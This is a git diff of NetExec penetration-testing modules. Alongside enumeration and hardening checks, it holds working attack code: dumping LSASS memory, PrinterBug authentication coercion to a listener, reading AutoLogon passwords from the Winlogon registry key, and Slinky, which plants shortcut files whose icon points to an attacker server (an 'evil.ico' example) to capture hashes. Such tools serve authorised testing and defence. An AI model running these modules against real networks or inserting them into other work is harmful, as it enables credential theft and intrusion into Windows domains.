self.context.log.display(f"Copy {self.nano} to {self.remote_tmp_dir}")
|
||||
exec_method = MSSQLEXEC(self.connection.conn, self.context.log)
|
||||
exec_method = MSSQLEXEC(self.connection.conn)
|
||||
exec_method.put_file(nano.read(), self.remote_tmp_dir + self.nano)
|
||||
if exec_method.file_exists(self.remote_tmp_dir + self.nano):
|
||||
self.context.log.success(f"Created file {self.nano} on the remote machine {self.remote_tmp_dir}")
|
||||
@@ -118,13 +118,13 @@ class NXCModule:
|
||||
self.context.log.display(f"Getting LSASS PID via command {command}")
|
||||
p = self.connection.execute(command, display_output)
|
||||
self.context.log.debug(f"tasklist Command Result: {p}")
|
||||
if len(p) == 1:
|
||||
p = p[0]
|
||||
|
||||
if not p or p == "None":
|
||||
self.context.log.fail("Failed to execute command to get LSASS PID")
|
||||
return
|
||||
|
||||
if len(p) == 1:
|
||||
p = p[0]
|
||||
|
||||
pid = p.split(",")[1][1:-1]
|
||||
self.context.log.debug(f"pid: {pid}")
|
||||
timestamp = datetime.today().strftime("%Y%m%d_%H%M")
|
||||
@@ -174,7 +174,7 @@ class NXCModule:
|
||||
self.context.log.fail(f"Error deleting lsass.dmp file on share {self.share}: {e}")
|
||||
else:
|
||||
try:
|
||||
exec_method = MSSQLEXEC(self.connection.conn, self.context.log)
|
||||
exec_method = MSSQLEXEC(self.connection.conn)
|
||||
exec_method.get_file(self.remote_tmp_dir + nano_log_name, filename)
|
||||
self.context.log.success(f"Dumpfile of lsass.exe was transferred to {filename}")
|
||||
except Exception as e:
|
||||
|
||||
@@ -7,11 +7,10 @@ class NXCModule:
|
||||
"""
|
||||
Detect if the target's LmCompatibilityLevel will allow NTLMv1 authentication
|
||||
Module by @Tw1sm
|
||||
Modified by Deft (08/02/2024)
|
||||
"""
|
||||
|
||||
name = "ntlmv1"
|
||||
description = "Detect if lmcompatibilitylevel on the target is set to lower than 3 (which means ntlmv1 is enabled)"
|
||||
description = "Detect if lmcompatibilitylevel on the target is set to 0 or 1"
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
@@ -33,22 +32,19 @@ class NXCModule:
|
||||
"SYSTEM\\CurrentControlSet\\Control\\Lsa",
|
||||
)
|
||||
key_handle = ans["phkResult"]
|
||||
rtype = data = None
|
||||
rtype = None
|
||||
data = None
|
||||
try:
|
||||
rtype, data = rrp.hBaseRegQueryValue(
|
||||
remote_ops._RemoteOperations__rrp,
|
||||
key_handle,
|
||||
"lmcompatibilitylevel\x00",
|
||||
)
|
||||
|
||||
except rrp.DCERPCSessionError:
|
||||
context.log.debug("Unable to reference lmcompatabilitylevel, which probably means ntlmv1 is not set")
|
||||
|
||||
# Changed by Defte
|
||||
# Unless this keys is set to 3 or higher, NTLMv1 can be used
|
||||
if data in [0, 1, 2]:
|
||||
if rtype and data and int(data) in [0, 1, 2]:
|
||||
context.log.highlight(self.output.format(connection.conn.getRemoteHost(), data))
|
||||
|
||||
except DCERPCSessionError as e:
|
||||
context.log.debug(f"Error connecting to RemoteRegistry: {e}")
|
||||
finally:
|
||||
|
||||
@@ -1,84 +0,0 @@
|
||||
#!/usr/bin/env python3
|
||||
|
||||
from datetime import datetime, timedelta
|
||||
from nxc.paths import NXC_PATH
|
||||
import socket
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""
|
||||
Extract obsolete operating systems from LDAP
|
||||
Module by Brandon Fisher @shad0wcntr0ller
|
||||
"""
|
||||
name = "obsolete"
|
||||
description = "Extract all obsolete operating systems from LDAP"
|
||||
supported_protocols = ["ldap"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
|
||||
def ldap_time_to_datetime(self, ldap_time):
|
||||
"""Convert an LDAP timestamp to a datetime object."""
|
||||
if ldap_time == "0": # Account for never-set passwords
|
||||
return "Never"
|
||||
try:
|
||||
epoch = datetime(1601, 1, 1) + timedelta(seconds=int(ldap_time) / 10000000)
|
||||
return epoch.strftime("%Y-%m-%d %H:%M:%S")
|
||||
except Exception:
|
||||
return "Conversion Error"
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""No module-specific options required."""
|
||||
|
||||
def on_login(self, context, connection):
|
||||
search_filter = ("(&(objectclass=computer)(!(userAccountControl:1.2.840.113556.1.4.803:=2))"
|
||||
"(|(operatingSystem=*Windows 6*)(operatingSystem=*Windows 2000*)"
|
||||
"(operatingSystem=*Windows XP*)(operatingSystem=*Windows Vista*)"
|
||||
"(operatingSystem=*Windows 7*)(operatingSystem=*Windows 8*)"
|
||||
"(operatingSystem=*Windows 8.1*)(operatingSystem=*Windows Server 2003*)"
|
||||
"(operatingSystem=*Windows Server 2008*)(operatingSystem=*Windows Server 2012*)))")
|
||||
attributes = ["name", "operatingSystem", "dNSHostName", "pwdLastSet"]
|
||||
|
||||
try:
|
||||
context.log.debug(f"Search Filter={search_filter}")
|
||||
resp = connection.ldapConnection.search(searchFilter=search_filter, attributes=attributes, sizeLimit=0)
|
||||
except Exception:
|
||||
context.log.error("LDAP search error:", exc_info=True)
|
||||
return False
|
||||
|
||||
answers = []
|
||||
context.log.debug(f"Total of records returned {len(resp)}")
|
||||
|
||||
for item in resp:
|
||||
if "attributes" not in item:
|
||||
continue
|
||||
dns_hostname, pwd_last_set = "", "0" # Default '0' for pwdLastSet
|
||||
for attribute in item["attributes"]:
|
||||
attr_type = str(attribute["type"])
|
||||
if attr_type == "operatingSystem":
|
||||
os = str(attribute["vals"][0])
|
||||
elif attr_type == "dNSHostName":
|
||||
dns_hostname = str(attribute["vals"][0])
|
||||
elif attr_type == "pwdLastSet":
|
||||
pwd_last_set = str(attribute["vals"][0])
|
||||
|
||||
if dns_hostname and os:
|
||||
pwd_last_set_readable = self.ldap_time_to_datetime(pwd_last_set)
|
||||
try:
|
||||
ip_address = socket.gethostbyname(dns_hostname)
|
||||
answers.append((dns_hostname, ip_address, os, pwd_last_set_readable))
|
||||
except socket.gaierror:
|
||||
answers.append((dns_hostname, "N/A", os, pwd_last_set_readable))
|
||||
|
||||
if answers:
|
||||
obsolete_hosts_count = len(answers)
|
||||
filename = f"{NXC_PATH}/logs/{connection.domain}.obsoletehosts.txt"
|
||||
context.log.display(f"{obsolete_hosts_count} Obsolete hosts will be saved to {filename}")
|
||||
with open(filename, "w") as f:
|
||||
for dns_hostname, ip_address, os, pwd_last_set_readable in answers:
|
||||
log_message = f"{dns_hostname} ({ip_address}) : {os} [pwd-last-set: {pwd_last_set_readable}]"
|
||||
context.log.highlight(log_message)
|
||||
f.write(log_message + "\n")
|
||||
else:
|
||||
context.log.display("No Obsolete Hosts Identified")
|
||||
|
||||
return True
|
||||
@@ -1,117 +0,0 @@
|
||||
from impacket.dcerpc.v5 import transport, rprn
|
||||
|
||||
|
||||
class NXCModule:
|
||||
name = "printerbug"
|
||||
description = "Module to check if the Target is vulnerable to PrinterBug. Set LISTENER IP for coercion."
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
|
||||
def __init__(self, context=None, module_options=None):
|
||||
self.context = context
|
||||
self.module_options = module_options
|
||||
self.listener = None
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""LISTENER Listener Address (defaults to 127.0.0.1)"""
|
||||
self.listener = "127.0.0.1"
|
||||
if "LISTENER" in module_options:
|
||||
self.listener = module_options["LISTENER"]
|
||||
|
||||
def on_login(self, context, connection):
|
||||
trigger = TriggerAuth(context)
|
||||
target = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
|
||||
dce = trigger.connect(
|
||||
username=connection.username,
|
||||
password=connection.password,
|
||||
domain=connection.domain,
|
||||
lmhash=connection.lmhash,
|
||||
nthash=connection.nthash,
|
||||
target=target,
|
||||
doKerberos=connection.kerberos,
|
||||
dcHost=connection.kdcHost,
|
||||
aesKey=connection.aesKey,
|
||||
)
|
||||
|
||||
if dce is not None:
|
||||
context.log.debug("Target is vulnerable to PrinterBug")
|
||||
trigger.RpcRemoteFindFirstPrinterChange(dce, self.listener, target)
|
||||
context.log.highlight("VULNERABLE")
|
||||
dce.disconnect()
|
||||
else:
|
||||
context.log.debug("Target is not vulnerable to PrinterBug")
|
||||
|
||||
|
||||
################################################################################
|
||||
# RPC CALLS
|
||||
################################################################################
|
||||
|
||||
|
||||
class TriggerAuth:
|
||||
def __init__(self, context):
|
||||
self.context = context
|
||||
|
||||
def connect(self, username, password, domain, lmhash, nthash, aesKey, target, doKerberos, dcHost):
|
||||
rpctransport = transport.DCERPCTransportFactory(r"ncacn_np:%s[\PIPE\spoolss]" % target)
|
||||
rpctransport.set_dport(445)
|
||||
|
||||
if hasattr(rpctransport, "set_credentials"):
|
||||
rpctransport.set_credentials(
|
||||
username=username,
|
||||
password=password,
|
||||
domain=domain,
|
||||
lmhash=lmhash,
|
||||
nthash=nthash,
|
||||
aesKey=aesKey,
|
||||
)
|
||||
|
||||
if doKerberos:
|
||||
rpctransport.set_kerberos(doKerberos, kdcHost=dcHost)
|
||||
|
||||
rpctransport.setRemoteHost(target)
|
||||
dce = rpctransport.get_dce_rpc()
|
||||
self.context.log.debug("Connecting to {}".format(r"ncacn_np:%s[\PIPE\spoolfs]") % target)
|
||||
try:
|
||||
dce.connect()
|
||||
except Exception as e:
|
||||
self.context.log.debug(f"Something went wrong, check error status => {e!s}")
|
||||
return None
|
||||
try:
|
||||
dce.bind(rprn.MSRPC_UUID_RPRN)
|
||||
except Exception as e:
|
||||
self.context.log.debug(f"Something went wrong, check error status => {e!s}")
|
||||
return None
|
||||
self.context.log.debug("Successfully bound!")
|
||||
return dce
|
||||
|
||||
def RpcRemoteFindFirstPrinterChange(self, dce, listener, target):
|
||||
self.context.log.debug("Sending RpcRemoteFindFirstPrinterChange!")
|
||||
try:
|
||||
resp = rprn.hRpcOpenPrinter(dce, "\\\\%s\x00" % target)
|
||||
except Exception as e:
|
||||
if str(e).find("Broken pipe") >= 0:
|
||||
# The connection timed-out. Let's try to bring it back next round
|
||||
self.context.log.error("Connection failed - skipping host!")
|
||||
return
|
||||
elif str(e).upper().find("ACCESS_DENIED"):
|
||||
# We're not admin, bye
|
||||
self.context.log.error("Access denied - RPC call was denied")
|
||||
dce.disconnect()
|
||||
return
|
||||
else:
|
||||
raise
|
||||
self.context.log.debug("Got handle")
|
||||
|
||||
try:
|
||||
request = rprn.RpcRemoteFindFirstPrinterChangeNotificationEx()
|
||||
request["hPrinter"] = resp["pHandle"]
|
||||
request["fdwFlags"] = rprn.PRINTER_CHANGE_ADD_JOB
|
||||
request["pszLocalMachine"] = "\\\\%s\x00" % listener
|
||||
except Exception as e:
|
||||
self.context.log.debug(e)
|
||||
|
||||
try:
|
||||
dce.request(request)
|
||||
except Exception as e:
|
||||
self.context.log.debug(e)
|
||||
+71
-90
@@ -1,111 +1,92 @@
|
||||
from dateutil.relativedelta import relativedelta as rd
|
||||
from impacket.ldap import ldapasn1 as ldapasn1_impacket
|
||||
from impacket.ldap import ldap as ldap_impacket
|
||||
from math import fabs
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""
|
||||
Initial FGPP/PSO script written by @n00py: https://github.com/n00py/GetFGPP
|
||||
|
||||
Module by @_sandw1ch
|
||||
Created by fplazar and wanetty
|
||||
Module by @gm_eduard and @ferranplaza
|
||||
Based on: https://github.com/juliourena/CrackMapExec/blob/master/cme/modules/get_description.py
|
||||
"""
|
||||
|
||||
name = "pso"
|
||||
description = "Module to get the Fine Grained Password Policy/PSOs"
|
||||
description = "Query to get PSO from LDAP"
|
||||
supported_protocols = ["ldap"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = False
|
||||
multiple_hosts = True
|
||||
|
||||
def __init__(self, context=None, module_options=None):
|
||||
self.context = context
|
||||
self.module_options = module_options
|
||||
pso_fields = [
|
||||
"cn",
|
||||
"msDS-PasswordReversibleEncryptionEnabled",
|
||||
"msDS-PasswordSettingsPrecedence",
|
||||
"msDS-MinimumPasswordLength",
|
||||
"msDS-PasswordHistoryLength",
|
||||
"msDS-PasswordComplexityEnabled",
|
||||
"msDS-LockoutObservationWindow",
|
||||
"msDS-LockoutDuration",
|
||||
"msDS-LockoutThreshold",
|
||||
"msDS-MinimumPasswordAge",
|
||||
"msDS-MaximumPasswordAge",
|
||||
"msDS-PSOAppliesTo",
|
||||
]
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""No options available."""
|
||||
|
||||
def convert_time_field(self, field, value):
|
||||
time_fields = {"msDS-LockoutObservationWindow": (60, "mins"), "msDS-MinimumPasswordAge": (86400, "days"), "msDS-MaximumPasswordAge": (86400, "days"), "msDS-LockoutDuration": (60, "mins")}
|
||||
|
||||
if field in time_fields:
|
||||
value = f"{int(fabs(float(value)) / (10000000 * time_fields[field][0]))} {time_fields[field][1]}"
|
||||
|
||||
return value
|
||||
|
||||
def on_login(self, context, connection):
|
||||
# Are there even any FGPPs?
|
||||
context.log.success("Attempting to enumerate policies...")
|
||||
resp = connection.ldapConnection.search(searchBase=f"CN=Password Settings Container,CN=System,{''.join([f'DC={dc},' for dc in connection.domain.split('.')]).rstrip(',')}", searchFilter="(objectclass=*)")
|
||||
if len(resp) > 1:
|
||||
context.log.highlight(f"{len(resp) - 1} PSO Objects found!")
|
||||
context.log.highlight("")
|
||||
context.log.success("Attempting to enumerate objects with an applied policy...")
|
||||
"""Concurrent. Required if on_admin_login is not present. This gets called on each authenticated connection"""
|
||||
# Building the search filter
|
||||
search_filter = "(objectClass=msDS-PasswordSettings)"
|
||||
|
||||
# Who do they apply to?
|
||||
resp = connection.search(searchFilter="(objectclass=*)", attributes=["DistinguishedName", "msDS-PSOApplied"])
|
||||
for attrs in resp:
|
||||
if isinstance(attrs, ldapasn1_impacket.SearchResultEntry) is not True:
|
||||
try:
|
||||
context.log.debug(f"Search Filter={search_filter}")
|
||||
resp = connection.ldapConnection.search(searchFilter=search_filter, attributes=self.pso_fields, sizeLimit=0)
|
||||
except ldap_impacket.LDAPSearchError as e:
|
||||
if e.getErrorString().find("sizeLimitExceeded") >= 0:
|
||||
context.log.debug("sizeLimitExceeded exception caught, giving up and processing the data received")
|
||||
# We reached the sizeLimit, process the answers we have already and that's it. Until we implement
|
||||
# paged queries
|
||||
resp = e.getAnswers()
|
||||
else:
|
||||
context.log.debug(e)
|
||||
return False
|
||||
|
||||
pso_list = []
|
||||
|
||||
context.log.debug(f"Total of records returned {len(resp)}")
|
||||
for item in resp:
|
||||
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
|
||||
continue
|
||||
for attr in attrs["attributes"]:
|
||||
if str(attr["type"]) in "msDS-PSOApplied":
|
||||
context.log.highlight(f"Object: {attrs['objectName']}")
|
||||
context.log.highlight("Applied Policy: ")
|
||||
for value in attr["vals"]:
|
||||
context.log.highlight(f"\t{value}")
|
||||
context.log.highlight("")
|
||||
|
||||
# Let"s find out even more details!
|
||||
context.log.success("Attempting to enumerate details...\n")
|
||||
resp = connection.search(searchFilter="(objectclass=msDS-PasswordSettings)",
|
||||
attributes=["name", "msds-lockoutthreshold", "msds-psoappliesto", "msds-minimumpasswordlength",
|
||||
"msds-passwordhistorylength", "msds-lockoutobservationwindow", "msds-lockoutduration",
|
||||
"msds-passwordsettingsprecedence", "msds-passwordcomplexityenabled", "Description",
|
||||
"msds-passwordreversibleencryptionenabled", "msds-minimumpasswordage", "msds-maximumpasswordage"])
|
||||
for attrs in resp:
|
||||
if not isinstance(attrs, ldapasn1_impacket.SearchResultEntry):
|
||||
continue
|
||||
policyName, description, passwordLength, passwordhistorylength, lockoutThreshold, obersationWindow, lockoutDuration, complexity, minPassAge, maxPassAge, reverseibleEncryption, precedence, policyApplies = ("",) * 13
|
||||
for attr in attrs["attributes"]:
|
||||
if str(attr["type"]) == "name":
|
||||
policyName = attr["vals"][0]
|
||||
elif str(attr["type"]) == "msDS-LockoutThreshold":
|
||||
lockoutThreshold = attr["vals"][0]
|
||||
elif str(attr["type"]) == "msDS-MinimumPasswordLength":
|
||||
passwordLength = attr["vals"][0]
|
||||
elif str(attr["type"]) == "msDS-PasswordHistoryLength":
|
||||
passwordhistorylength = attr["vals"][0]
|
||||
elif str(attr["type"]) == "msDS-LockoutObservationWindow":
|
||||
observationWindow = attr["vals"][0]
|
||||
elif str(attr["type"]) == "msDS-LockoutDuration":
|
||||
lockoutDuration = attr["vals"][0]
|
||||
elif str(attr["type"]) == "msDS-PasswordSettingsPrecedence":
|
||||
precedence = attr["vals"][0]
|
||||
elif str(attr["type"]) == "msDS-PasswordComplexityEnabled":
|
||||
complexity = attr["vals"][0]
|
||||
elif str(attr["type"]) == "msDS-PasswordReversibleEncryptionEnabled":
|
||||
reverseibleEncryption = attr["vals"][0]
|
||||
elif str(attr["type"]) == "msDS-MinimumPasswordAge":
|
||||
minPassAge = attr["vals"][0]
|
||||
elif str(attr["type"]) == "msDS-MaximumPasswordAge":
|
||||
maxPassAge = attr["vals"][0]
|
||||
elif str(attr["type"]) == "description":
|
||||
description = attr["vals"][0]
|
||||
elif str(attr["type"]) == "msDS-PSOAppliesTo":
|
||||
policyApplies = ""
|
||||
for value in attr["vals"]:
|
||||
policyApplies += f"{value};"
|
||||
context.log.highlight(f"Policy Name: {policyName}")
|
||||
if description:
|
||||
context.log.highlight(f"Description: {description}")
|
||||
context.log.highlight(f"Minimum Password Length: {passwordLength}")
|
||||
context.log.highlight(f"Minimum Password History Length: {passwordhistorylength}")
|
||||
context.log.highlight(f"Lockout Threshold: {lockoutThreshold}")
|
||||
context.log.highlight(f"Observation Window: {mins(observationWindow)}")
|
||||
context.log.highlight(f"Lockout Duration: {mins(lockoutDuration)}")
|
||||
context.log.highlight(f"Complexity Enabled: {complexity}")
|
||||
context.log.highlight(f"Minimum Password Age: {days(minPassAge)}")
|
||||
context.log.highlight(f"Maximum Password Age: {days(maxPassAge)}")
|
||||
context.log.highlight(f"Reversible Encryption: {reverseibleEncryption}")
|
||||
context.log.highlight(f"Precedence: {precedence} (Lower is Higher Priority)")
|
||||
context.log.highlight("Policy Applies to:")
|
||||
for value in str(policyApplies)[:-1].split(";"):
|
||||
if value:
|
||||
context.log.highlight(f"\t{value}")
|
||||
context.log.highlight("")
|
||||
pso_info = {}
|
||||
|
||||
try:
|
||||
for attribute in item["attributes"]:
|
||||
attr_name = str(attribute["type"])
|
||||
if attr_name in self.pso_fields:
|
||||
pso_info[attr_name] = attribute["vals"][0]._value.decode("utf-8")
|
||||
|
||||
def days(ldap_time):
|
||||
return f"{rd(seconds=int(abs(int(ldap_time)) / 10000000)).days} days"
|
||||
pso_list.append(pso_info)
|
||||
|
||||
|
||||
def mins(ldap_time):
|
||||
return f"{rd(seconds=int(abs(int(ldap_time)) / 10000000)).minutes} minutes"
|
||||
except Exception as e:
|
||||
context.log.debug("Exception:", exc_info=True)
|
||||
context.log.debug(f"Skipping item, cannot process due to error {e}")
|
||||
if len(pso_list) > 0:
|
||||
context.log.success("Password Settings Objects (PSO) found:")
|
||||
for pso in pso_list:
|
||||
for field in self.pso_fields:
|
||||
if field in pso:
|
||||
value = self.convert_time_field(field, pso[field])
|
||||
context.log.highlight(f"{field}: {value}")
|
||||
context.log.highlight("-----")
|
||||
else:
|
||||
context.log.info("No Password Settings Objects (PSO) found.")
|
||||
@@ -1,46 +0,0 @@
|
||||
from impacket.dcerpc.v5 import rrp
|
||||
from impacket.examples.secretsdump import RemoteOperations
|
||||
|
||||
class NXCModule:
|
||||
r"""
|
||||
WinLogon AutoLogon: extract the credential from the following registry hive
|
||||
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
|
||||
Module by @pentest_swissky
|
||||
"""
|
||||
|
||||
name = "reg-winlogon"
|
||||
description = "Collect autologon credential stored in the registry"
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
|
||||
def __init__(self, context=None, module_options=None):
|
||||
self.context = context
|
||||
self.module_options = module_options
|
||||
|
||||
def options(self, context, module_options):
|
||||
""" """
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
remoteOps = RemoteOperations(connection.conn, False)
|
||||
remoteOps.enableRegistry()
|
||||
|
||||
ans = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp)
|
||||
regHandle = ans["phKey"]
|
||||
ans = rrp.hBaseRegOpenKey(
|
||||
remoteOps._RemoteOperations__rrp,
|
||||
regHandle,
|
||||
"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon",
|
||||
)
|
||||
keyHandle = ans["phkResult"]
|
||||
|
||||
reg_keys = ["AutoAdminLogon", "DefaultDomainName", "DefaultUserName", "DefaultPassword"]
|
||||
for reg_key in reg_keys:
|
||||
try:
|
||||
dataType, reg_value = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, reg_key)
|
||||
context.log.highlight(f"{reg_key}: {reg_value}")
|
||||
except Exception:
|
||||
context.log.highlight(f"{reg_key}:")
|
||||
|
||||
rrp.hBaseRegCloseKey(remoteOps._RemoteOperations__rrp, keyHandle)
|
||||
remoteOps.finish()
|
||||
@@ -14,8 +14,8 @@ class NXCModule:
|
||||
""""""
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
command = r"reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\ /v RunAsPPL"
|
||||
context.log.debug(f"Executing command: {command}")
|
||||
command = "reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\ /v RunAsPPL"
|
||||
context.log.display("Executing command")
|
||||
p = connection.execute(command, True)
|
||||
if "The system was unable to find the specified registry key or value" in p:
|
||||
context.log.debug("Unable to find RunAsPPL Registry Key")
|
||||
|
||||
File renamed without changes.
@@ -1,6 +1,5 @@
|
||||
import ntpath
|
||||
from sys import exit
|
||||
from nxc.paths import TMP_PATH
|
||||
|
||||
|
||||
class NXCModule:
|
||||
@@ -45,7 +44,7 @@ class NXCModule:
|
||||
exit(1)
|
||||
|
||||
self.scf_name = module_options["NAME"]
|
||||
self.scf_path = f"{TMP_PATH}/{self.scf_name}.scf"
|
||||
self.scf_path = f"/tmp/{self.scf_name}.scf"
|
||||
self.file_path = ntpath.join("\\", f"{self.scf_name}.scf")
|
||||
|
||||
if not self.cleanup:
|
||||
|
||||
+27
-45
@@ -7,55 +7,42 @@ class NXCModule:
|
||||
"""
|
||||
Original idea and PoC by Justin Angel (@4rch4ngel86)
|
||||
Module by @byt3bl33d3r
|
||||
Updated by @Marshall-Hallenbeck
|
||||
"""
|
||||
|
||||
name = "slinky"
|
||||
description = "Creates windows shortcuts with the icon attribute containing a URI to the specified server (default SMB) in all shares with write permissions"
|
||||
description = "Creates windows shortcuts with the icon attribute containing a UNC path to the specified SMB server in all shares with write permissions"
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = False
|
||||
multiple_hosts = True
|
||||
|
||||
def __init__(self):
|
||||
def __init__(self, context=None, module_options=None):
|
||||
self.context = context
|
||||
self.module_options = module_options
|
||||
self.server = None
|
||||
self.file_path = None
|
||||
self.lnk_path = None
|
||||
self.lnk_name = None
|
||||
self.ico_uri = None
|
||||
self.shares = None
|
||||
self.cleanup = None
|
||||
|
||||
def options(self, context, module_options):
|
||||
r"""
|
||||
SERVER IP of the listening server (running Responder, etc)
|
||||
NAME LNK file name written to the share(s)
|
||||
ICO_URI Override full ICO path (e.g. http://192.168.1.2/evil.ico or \\\\192.168.1.2\\testing_path\\icon.ico)
|
||||
SHARES Specific shares to write to (comma separated, e.g. SHARES=share1,share2,share3)
|
||||
"""
|
||||
SERVER IP of the SMB server
|
||||
NAME LNK file name
|
||||
CLEANUP Cleanup (choices: True or False)
|
||||
"""
|
||||
self.cleanup = False
|
||||
|
||||
if "CLEANUP" in module_options:
|
||||
self.cleanup = bool(module_options["CLEANUP"])
|
||||
context.log.debug("Cleanup set to True")
|
||||
|
||||
if "NAME" not in module_options:
|
||||
context.log.fail("NAME option is required!")
|
||||
exit(1)
|
||||
|
||||
if "SHARES" in module_options:
|
||||
self.shares = module_options["SHARES"].split(",")
|
||||
context.log.debug(f"Shares to write to: {self.shares}")
|
||||
|
||||
if not self.cleanup and "SERVER" not in module_options:
|
||||
context.log.fail("SERVER option is required!")
|
||||
exit(1)
|
||||
|
||||
if "ICO_URI" in module_options:
|
||||
self.ico_uri = module_options["ICO_URI"]
|
||||
context.log.debug("Overriding")
|
||||
|
||||
|
||||
|
||||
self.lnk_name = module_options["NAME"]
|
||||
self.lnk_path = f"/tmp/{self.lnk_name}.lnk"
|
||||
self.file_path = ntpath.join("\\", f"{self.lnk_name}.lnk")
|
||||
@@ -63,33 +50,28 @@ class NXCModule:
|
||||
if not self.cleanup:
|
||||
self.server = module_options["SERVER"]
|
||||
link = pylnk3.create(self.lnk_path)
|
||||
link.icon = self.ico_uri if self.ico_uri else f"\\\\{self.server}\\icons\\icon.ico"
|
||||
link.icon = f"\\\\{self.server}\\icons\\icon.ico"
|
||||
link.save()
|
||||
|
||||
def on_login(self, context, connection):
|
||||
shares = connection.shares()
|
||||
if shares:
|
||||
slinky_logger = context.log.init_log_file()
|
||||
context.log.add_file_log(slinky_logger)
|
||||
|
||||
for share in shares:
|
||||
# TODO: these can be written to - add an option to override these
|
||||
if "WRITE" in share["access"] and share["name"] not in ["C$", "ADMIN$", "NETLOGON", "SYSVOL"]:
|
||||
if self.shares is not None and share["name"] not in self.shares:
|
||||
context.log.debug(f"Did not write to {share['name']} share as it was not specified in the SHARES option")
|
||||
continue
|
||||
|
||||
context.log.success(f"Found writable share: {share['name']}")
|
||||
if not self.cleanup:
|
||||
with open(self.lnk_path, "rb") as lnk:
|
||||
try:
|
||||
connection.conn.putFile(share["name"], self.file_path, lnk.read)
|
||||
context.log.success(f"Created LNK file on the {share['name']} share")
|
||||
except Exception as e:
|
||||
context.log.fail(f"Error writing LNK file to share {share['name']}: {e}")
|
||||
else:
|
||||
for share in shares:
|
||||
if "WRITE" in share["access"] and share["name"] not in [
|
||||
"C$",
|
||||
"ADMIN$",
|
||||
"NETLOGON",
|
||||
]:
|
||||
context.log.success(f"Found writable share: {share['name']}")
|
||||
if not self.cleanup:
|
||||
with open(self.lnk_path, "rb") as lnk:
|
||||
try:
|
||||
connection.conn.deleteFile(share["name"], self.file_path)
|
||||
context.log.success(f"Deleted LNK file on the {share['name']} share")
|
||||
connection.conn.putFile(share["name"], self.file_path, lnk.read)
|
||||
context.log.success(f"Created LNK file on the {share['name']} share")
|
||||
except Exception as e:
|
||||
context.log.fail(f"Error deleting LNK file on share {share['name']}: {e}")
|
||||
context.log.fail(f"Error writing LNK file to share {share['name']}: {e}")
|
||||
else:
|
||||
try:
|
||||
connection.conn.deleteFile(share["name"], self.file_path)
|
||||
context.log.success(f"Deleted LNK file on the {share['name']} share")
|
||||
except Exception as e:
|
||||
context.log.fail(f"Error deleting LNK file on share {share['name']}: {e}")
|
||||
@@ -17,11 +17,12 @@ class NXCModule:
|
||||
pass
|
||||
|
||||
def on_login(self, context, connection):
|
||||
domain_dn = ",".join(["DC=" + dc for dc in connection.domain.split(".")])
|
||||
search_filter = "(&(objectClass=trustedDomain))"
|
||||
attributes = ["flatName", "trustPartner", "trustDirection", "trustAttributes"]
|
||||
|
||||
context.log.debug(f"Search Filter={search_filter}")
|
||||
resp = connection.ldapConnection.search(searchFilter=search_filter, attributes=attributes, sizeLimit=0)
|
||||
resp = connection.ldapConnection.search(searchBase=domain_dn, searchFilter=search_filter, attributes=attributes, sizeLimit=0)
|
||||
|
||||
trusts = []
|
||||
context.log.debug(f"Total of records returned {len(resp)}")
|
||||
File renamed without changes.
File renamed without changes.
+29
-25
@@ -168,33 +168,33 @@ class HostChecker:
|
||||
def init_checks(self):
|
||||
# Declare the checks to do and how to do them
|
||||
self.checks = [
|
||||
ConfigCheck("Last successful update age", "Checks how old is the last successful update", checkers=[self.check_last_successful_update]),
|
||||
ConfigCheck("LAPS installed", "Checks if LAPS is installed", checkers=[self.check_laps]),
|
||||
ConfigCheck("Administrator account renamed", "Checks if Administror user name has been changed", checkers=[self.check_administrator_name]),
|
||||
ConfigCheck("Last successful update", "Checks how old is the last successful update", checkers=[self.check_last_successful_update]),
|
||||
ConfigCheck("LAPS", "Checks if LAPS is installed", checkers=[self.check_laps]),
|
||||
ConfigCheck("Administrator's name", "Checks if Administror user name has been changed", checkers=[self.check_administrator_name]),
|
||||
ConfigCheck("UAC configuration", "Checks if UAC configuration is secure", checker_args=[[self, ("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", "EnableLUA", 1), ("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", "LocalAccountTokenFilterPolicy", 0)]]),
|
||||
ConfigCheck("LM hash storage disabled", "Checks if storing hashes in LM format is disabled", checker_args=[[self, ("HKLM\\System\\CurrentControlSet\\Control\\Lsa", "NoLMHash", 1)]]),
|
||||
ConfigCheck("Always install elevated disabled", "Checks if AlwaysInstallElevated is disabled", checker_args=[[self, ("HKCU\\SOFTWARE\\Policies\\Microsoft\\Windows\\Installer", "AlwaysInstallElevated", 0)]]),
|
||||
ConfigCheck("IPv4 preferred over IPv6", "Checks if IPv4 is preferred over IPv6", checker_args=[[self, ("HKLM\\SYSTEM\\CurrentControlSet\\Services\\Tcpip6\\Parameters", "DisabledComponents", (32, 255), in_)]]),
|
||||
ConfigCheck("Spooler service disabled", "Checks if the spooler service is disabled", checkers=[self.check_spooler_service]),
|
||||
ConfigCheck("WDigest authentication disabled", "Checks if WDigest authentication is disabled", checker_args=[[self, ("HKLM\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest", "UseLogonCredential", 0)]]),
|
||||
